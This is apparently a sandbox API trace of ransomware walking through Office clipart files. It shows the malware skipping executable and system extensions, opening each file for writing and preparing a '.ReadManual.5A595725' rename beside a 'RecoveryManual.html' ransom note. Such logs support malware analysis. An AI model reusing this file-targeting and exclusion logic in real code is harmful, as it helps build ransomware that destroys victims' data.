1 [0261.136] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" [0261.136] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.ReadManual.5A595725" [0261.136] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.ReadManual.5A595725") returned 87 [0261.136] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38180468234) returned 1 [0261.136] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x20 [0261.181] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.181] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31122) returned 1 [0261.181] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7992, lpName=0x0) returned 0x184 [0261.181] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.182] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.182] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.228] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.228] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7992) returned 0x2f0000 [0261.229] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.229] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38189749192) returned 1 [0261.229] CloseHandle (hObject=0x184) returned 1 [0261.229] SetSecurityInfo () returned 0x57 [0261.229] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.229] CloseHandle (hObject=0x194) returned 1 [0261.229] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0261.229] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00121_.WMF" | out: lpString1="DD00121_.WMF") returned="DD00121_.WMF" [0261.229] lstrcmpiW (lpString1="DD00121_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.229] StrStrIW (lpFirst="DD00121_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.229] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.229] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.229] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.229] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.229] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.229] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.229] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.229] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.229] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.230] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.230] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.230] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.230] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.230] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.230] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" [0261.230] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.ReadManual.5A595725" [0261.230] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.ReadManual.5A595725") returned 87 [0261.230] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38189851281) returned 1 [0261.230] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x20 [0261.278] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.278] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8256) returned 1 [0261.278] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2040, lpName=0x0) returned 0x184 [0261.278] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.279] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.279] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.322] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.322] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2040) returned 0x2f0000 [0261.322] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.322] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38199123646) returned 1 [0261.323] CloseHandle (hObject=0x184) returned 1 [0261.323] SetSecurityInfo () returned 0x57 [0261.323] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.323] CloseHandle (hObject=0x194) returned 1 [0261.324] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0261.324] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00234_.WMF" | out: lpString1="DD00234_.WMF") returned="DD00234_.WMF" [0261.324] lstrcmpiW (lpString1="DD00234_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.324] StrStrIW (lpFirst="DD00234_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.324] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.324] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.324] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.324] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.324] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.324] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.324] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.324] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.324] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.324] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.324] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.324] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.324] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.324] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.324] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" [0261.324] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.ReadManual.5A595725" [0261.324] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.ReadManual.5A595725") returned 87 [0261.324] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38199317287) returned 1 [0261.324] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x20 [0261.325] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.325] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=29628) returned 1 [0261.325] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x73bc, lpName=0x0) returned 0x184 [0261.325] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.326] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.326] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.379] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.380] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x73bc) returned 0x2f0000 [0261.380] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.380] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38204919401) returned 1 [0261.380] CloseHandle (hObject=0x184) returned 1 [0261.381] SetSecurityInfo () returned 0x57 [0261.381] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.381] CloseHandle (hObject=0x194) returned 1 [0261.382] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0261.382] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00255_.WMF" | out: lpString1="DD00255_.WMF") returned="DD00255_.WMF" [0261.382] lstrcmpiW (lpString1="DD00255_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.382] StrStrIW (lpFirst="DD00255_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.382] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.382] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.382] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.382] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.382] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.382] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.382] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.382] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.382] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.382] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.382] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.382] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.382] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.382] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.382] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" [0261.382] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.ReadManual.5A595725" [0261.382] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.ReadManual.5A595725") returned 87 [0261.382] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38205126274) returned 1 [0261.383] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x20 [0261.416] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.416] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2690) returned 1 [0261.416] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa82, lpName=0x0) returned 0x184 [0261.416] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.417] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.417] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.463] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.463] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa82) returned 0x2f0000 [0261.463] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.463] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38213222275) returned 1 [0261.464] CloseHandle (hObject=0x184) returned 1 [0261.464] SetSecurityInfo () returned 0x57 [0261.464] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.464] CloseHandle (hObject=0x194) returned 1 [0261.467] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0261.467] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00256_.WMF" | out: lpString1="DD00256_.WMF") returned="DD00256_.WMF" [0261.467] lstrcmpiW (lpString1="DD00256_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.467] StrStrIW (lpFirst="DD00256_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.467] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.467] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.467] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.467] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.467] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.467] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.467] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.467] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.467] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.467] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.467] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.467] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.467] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.467] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.467] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" [0261.467] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.ReadManual.5A595725" [0261.467] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.ReadManual.5A595725") returned 87 [0261.467] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38213610623) returned 1 [0261.467] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x20 [0261.468] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0261.468] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2832) returned 1 [0261.468] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb10, lpName=0x0) returned 0x184 [0261.468] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0261.469] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.469] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0261.509] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0261.510] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb10) returned 0x2f0000 [0261.510] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0261.510] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38217848768) returned 1 [0261.510] CloseHandle (hObject=0x184) returned 1 [0261.510] SetSecurityInfo () returned 0x57 [0261.510] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0261.510] CloseHandle (hObject=0x194) returned 1 [0261.511] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0261.511] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00261_.WMF" | out: lpString1="DD00261_.WMF") returned="DD00261_.WMF" [0261.511] lstrcmpiW (lpString1="DD00261_.WMF", lpString2="RecoveryManual.html") returned -1 [0261.511] StrStrIW (lpFirst="DD00261_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0261.511] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0261.511] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0261.511] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0261.511] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0261.511] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0261.511] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0261.511] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0261.511] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0261.511] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0261.511] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0261.511] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0261.511] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0261.511] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0261.511] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0261.511] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" [0261.511] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.ReadManual.5A595725" [0261.511] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.ReadManual.5A595725") returned 87 [0261.511] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38217999813) returned 1 [0261.511] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x20 [0261.512] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 